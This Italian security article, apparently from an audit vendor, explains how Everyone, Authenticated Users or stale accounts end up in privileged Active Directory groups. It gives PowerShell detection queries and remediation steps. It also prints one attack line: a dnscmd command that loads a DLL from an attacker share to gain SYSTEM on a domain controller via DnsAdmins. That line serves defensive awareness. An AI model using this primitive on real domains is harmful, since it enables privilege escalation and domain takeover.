Everyone, Authenticated Users, gruppi privilegiati Active Directory: come i gruppi predefiniti diventano sovra-popolati in silenzio

Everyone, Authenticated Users, gruppi privilegiati, Active Directory: come si presenta la sovra-appartenenza

Everyone, Authenticated Users, gruppi privilegiati, Active Directory — quattro elementi che si combinano in un rischio Tier 0 nel momento in cui un'identità speciale finisce direttamente nell'elenco membri di un gruppo, senza che serva alcun percorso di attacco. La maggior parte dei contenuti sull'escalation dei privilegi in Active Directory si concentra su percorsi indiretti: annidamento di gruppi, abuso di ACL, catene di delega. Questo articolo copre una versione più diretta dello stesso problema: un gruppo privilegiato di Active Directory — predefinito o Tier 0 — in cui Everyone, Authenticated Users, o un account Tier 0 che avrebbe dovuto essere rimosso mesi fa si trova direttamente nell'elenco membri, senza bisogno di annidamento o trucchi ACL per scoprirlo. È un cugino stretto della deriva degli accessi privilegiati, ma senza l'accumulo a più passaggi: la configurazione errata è visibile in un singolo elenco membri.

Concretamente, ecco cosa deve verificare un audit per active directory privileged group everyone authenticated users: quali gruppi privilegiati di ambito dominio-locale hanno un membro con identità speciale, e quali gruppi Tier 0 sono rimasti popolati dal loro ultimo utilizzo legittimo.

Tre schemi rientrano in questa categoria:

• Identità speciali aggiunte direttamente a un gruppo privilegiato. Le identità speciali Everyone e Authenticated Users possono essere aggiunte come membri espliciti di un gruppo di ambito dominio-locale. Se quel gruppo è privilegiato — Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, o DnsAdmins — ogni principal autenticato del dominio eredita i diritti di quel gruppo.
• Gruppi Tier 0 che dovrebbero essere vuoti, ma non lo sono. Schema Admins ed Enterprise Admins esistono per un uso occasionale e deliberato (modifiche allo schema, amministrazione cross-dominio). La stessa guida di remediation Microsoft raccomanda di mantenere Schema Admins vuoto al di fuori di una modifica attiva dello schema e di ripopolarlo solo quando necessario (Microsoft Learn). Un membro permanente è una credenziale Tier 0 costantemente disponibile che nessuno utilizza attivamente — pura superficie di attacco.
• Un gruppo privilegiato che la maggior parte dei team non monitora: DnsAdmins. Microsoft Defender for Identity include una valutazione di sicurezza dedicata per i "permessi non sicuri sul gruppo DnsAdmins", perché l'appartenenza garantisce il controllo del servizio DNS Server in esecuzione sui controller di dominio (Microsoft Learn) — un controllo che una tecnica ben nota converte in SYSTEM su un DC.

Niente di tutto questo richiede una ricerca di percorsi in stile BloodHound. Emerge nel momento in cui qualcuno esegue Get-ADGroupMember sul gruppo giusto — ed è proprio per questo che tende a sopravvivere agli audit costruiti attorno ai grafi dei percorsi di attacco piuttosto che ai semplici elenchi membri.

Tende anche a sfuggire alla revisione manuale perché non è il risultato di una singola decisione eclatante. Un account viene aggiunto a Schema Admins per l'installazione una tantum di un'applicazione e il passaggio di rimozione viene saltato. Una sessione di troubleshooting aggiunge Authenticated Users a DnsAdmins "temporaneamente" per sbloccare un ticket dell'helpdesk, e il ticket si chiude prima che l'appartenenza venga revocata. Ogni passaggio appare localmente ragionevole; lo stato cumulativo è un dominio in cui qualsiasi account autenticato — incluso un utente a basso privilegio vittima di phishing o un account di servizio compromesso — ha già una linea diretta verso un controller di dominio.

Come funziona

Everyone e Authenticated Users possono finire solo in gruppi dominio-locale — ma questo include quelli che contano

Secondo le regole di ambito dei gruppi di AD (il classico modello AGDLP), le identità speciali e i principal di sicurezza esterni possono essere collocati solo in gruppi di ambito dominio-locale, non globale né universale (Microsoft TechNet wiki, "Foreign Security Principals and Special Identities"; Microsoft Learn, "Understand Special Identities Groups"). Quando un amministratore (o una GPO/uno script mal configurato) aggiunge Everyone o Authenticated Users a un gruppo del genere, Active Directory crea un oggetto ForeignSecurityPrincipal per quel SID noto sotto CN=ForeignSecurityPrincipals e lo elenca come membro.

Questo esclude l'aggiunta di Everyone direttamente nel gruppo Domain Admins, di ambito globale — i vincoli di ambito dei gruppi AD non lo consentono. Ma non esclude il gruppo che conta davvero di più: il gruppo predefinito Administrators è di ambito dominio-locale, e per impostazione predefinita contiene già Domain Admins ed Enterprise Admins annidati al suo interno (Microsoft Learn, Appendix G — Securing Administrators Groups in Active Directory). Aggiungete Everyone o Authenticated Users ad Administrators, e ogni account autenticato del dominio eredita tutto ciò che Domain Admins eredita da quell'annidamento — il controllo completo di ogni controller di dominio. Lo stesso ambito dominio-locale copre Account Operators, Backup Operators, Server Operators, Print Operators, e DnsAdmins — tutti bersagli comuni di questa stessa configurazione errata.

🚨 Pericolo: non è un percorso teorico, è un elenco membri. Nessuna ACL delegata, nessun trucco Kerberos, nessuna catena annidata. Get-ADGroupMember sul gruppo sbagliato lo mostra con una sola chiamata.

L'appartenenza a DnsAdmins si converte in SYSTEM su un controller di dominio

L'appartenenza a DnsAdmins è pericolosa di per sé, indipendentemente dai trucchi Everyone/Authenticated Users. I membri possono impostare il valore di registro ServerLevelPluginDll sul servizio DNS Server tramite dnscmd.exe, puntandolo a una DLL arbitraria; il riavvio del servizio DNS carica quella DLL con l'account SYSTEM del controller di dominio. Questo è stato pubblicato per la prima volta da Shay Ber (Lab of a Penetration Tester, 2017) come "Abusing DNSAdmins privilege for escalation in Active Directory", ed è stato da allora documentato e riverificato ripetutamente, anche da Sean Metcalf su ADSecurity.org ("From DNSAdmins to Domain Admin") e da Semperis ("DnsAdmins Revisited") (Lab of a Penetration Tester; ADSecurity.org; Semperis).

# Primitiva lato attaccante (membro di DnsAdmins, solo per consapevolezza dei difensori)
dnscmd.exe DC01 /config /serverlevelplugindll \\attacker\share\evil.dll

Microsoft ha dichiarato che si tratta di una funzionalità documentata del protocollo di gestione DNS e non di una vulnerabilità, motivo esatto per cui non viene corretta con una patch — la correzione è organizzativa (mantenere DnsAdmins vuoto o strettamente delimitato), non un aggiornamento di sicurezza (InfosecMatter / riepilogo della posizione MSRC nella scheda del modulo Metasploit).

Schema Admins ed Enterprise Admins come credenziali Tier 0 permanenti

Schema Admins necessita di membri solo per la durata di un'effettiva estensione dello schema (una nuova applicazione che installa attributi di schema, un cambio di livello funzionale della foresta). La stessa guida di remediation Microsoft per questo esatto riscontro indica di rimuovere tutti i membri e riaggiungere gli account solo quando è in corso una modifica dello schema (Microsoft Learn). Uno Schema Admins (o Enterprise Admins, con ambito analogo per l'amministrazione a livello di foresta) permanentemente popolato è una credenziale Tier 0 che resta inutilizzata tra una modifica e l'altra — esattamente il tipo di account che gli attaccanti cercano, perché nessuno nota i suoi accessi dato che normalmente non ne effettua mai.

Rilevamento

Tutto quanto segue può essere eseguito in sola lettura, con un account di servizio privo di diritti di scrittura. Per l'insieme più ampio di event ID da raccogliere in un ambiente AD, consultare la guida di monitoraggio dedicata — la tabella seguente copre solo gli eventi specifici di questa configurazione errata.

# 1. Enumerare i membri dei gruppi privilegiati dominio-locale e segnalare le voci ForeignSecurityPrincipal
#    (è così che Everyone/Authenticated Users compaiono quando aggiunti direttamente)
$privilegedDomainLocal = 'Administrators','Account Operators','Backup Operators',
                          'Server Operators','Print Operators','DnsAdmins'

foreach ($g in $privilegedDomainLocal) {
    Get-ADGroupMember -Identity $g -ErrorAction SilentlyContinue |
        Where-Object { $_.objectClass -eq 'foreignSecurityPrincipal' } |
        Select-Object @{N='Group';E={$g}}, Name, SID
}

# 2. Risolvere quale SID noto rappresenta un ForeignSecurityPrincipal
#    S-1-1-0  = Everyone
#    S-1-5-11 = Authenticated Users
Get-ADObject -SearchBase (Get-ADDomain).SystemsContainer `
             -Filter "objectClass -eq 'foreignSecurityPrincipal'" -Properties objectSid |
    Select-Object Name, @{N='SID';E={$_.objectSid}}

# 3. Schema Admins / Enterprise Admins dovrebbero essere vuoti al di fuori di una finestra di manutenzione
Get-ADGroupMember -Identity 'Schema Admins' -Server (Get-ADForest).SchemaMaster
Get-ADGroupMember -Identity 'Enterprise Admins' -Server (Get-ADForest).RootDomain

Rimedio

Queste correzioni si inseriscono in un percorso più ampio di priorità di hardening di Active Directory — l'igiene dei gruppi privilegiati deve figurare in cima a quella lista, non come voce di follow-up.

1. Rimuovere qualsiasi appartenenza Everyone/Authenticated Users dai gruppi privilegiati di ambito dominio-locale. Remove-ADGroupMember -Identity Administrators -Members (Get-ADObject -Filter "objectSid -eq 'S-1-1-0'") — verificate prima l'oggetto esatto, è un gruppo Tier 0.
2. Svuotare Schema Admins ed Enterprise Admins al di fuori delle finestre di manutenzione. Documentate un processo break-glass: aggiungere l'account, eseguire la modifica, rimuoverlo, e registrare l'eccezione (chi, perché, quando).
3. Delimitare rigorosamente DnsAdmins e monitorarlo come Domain Admins. Se nessuno può motivare la presenza di un determinato account come membro, rimuovetelo. Trattate qualsiasi evento 4728/4732 su questo gruppo come un avviso Tier 0, non come rumore IT di routine.
4. Avvisare in tempo reale su 4728/4732/4756 per l'intero elenco dei gruppi Tier 0, non solo Domain Admins/Enterprise Admins — includete Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, DnsAdmins, e Schema Admins nella stessa regola di avviso.
5. Richiedere una registrazione di approvazione per ogni aggiunta a un gruppo privilegiato — proprietario, motivazione e data di scadenza. Un'appartenenza senza motivazione documentata è essa stessa il riscontro, indipendentemente da chi è stato aggiunto.

Come EtcSec rileva questo problema

L'audit AD di EtcSec verifica la sovra-appartenenza diretta nei gruppi predefiniti e Tier 0 trattati qui: GROUP_EVERYONE_IN_PRIVILEGED e GROUP_AUTHENTICATED_USERS_PRIVILEGED segnalano identità speciali collocate direttamente in un gruppo privilegiato, SCHEMA_ADMINS_NOT_EMPTY segnala un gruppo Schema/Enterprise Admins popolato in modo persistente, DNS_ADMINS_MEMBER espone ogni membro di DnsAdmins per la revisione, e PRIVILEGED_GROUP_MEMBER_CHANGES traccia le modifiche recenti di appartenenza sui gruppi Tier 0 in modo che una nuova aggiunta non passi inosservata tra un audit e l'altro.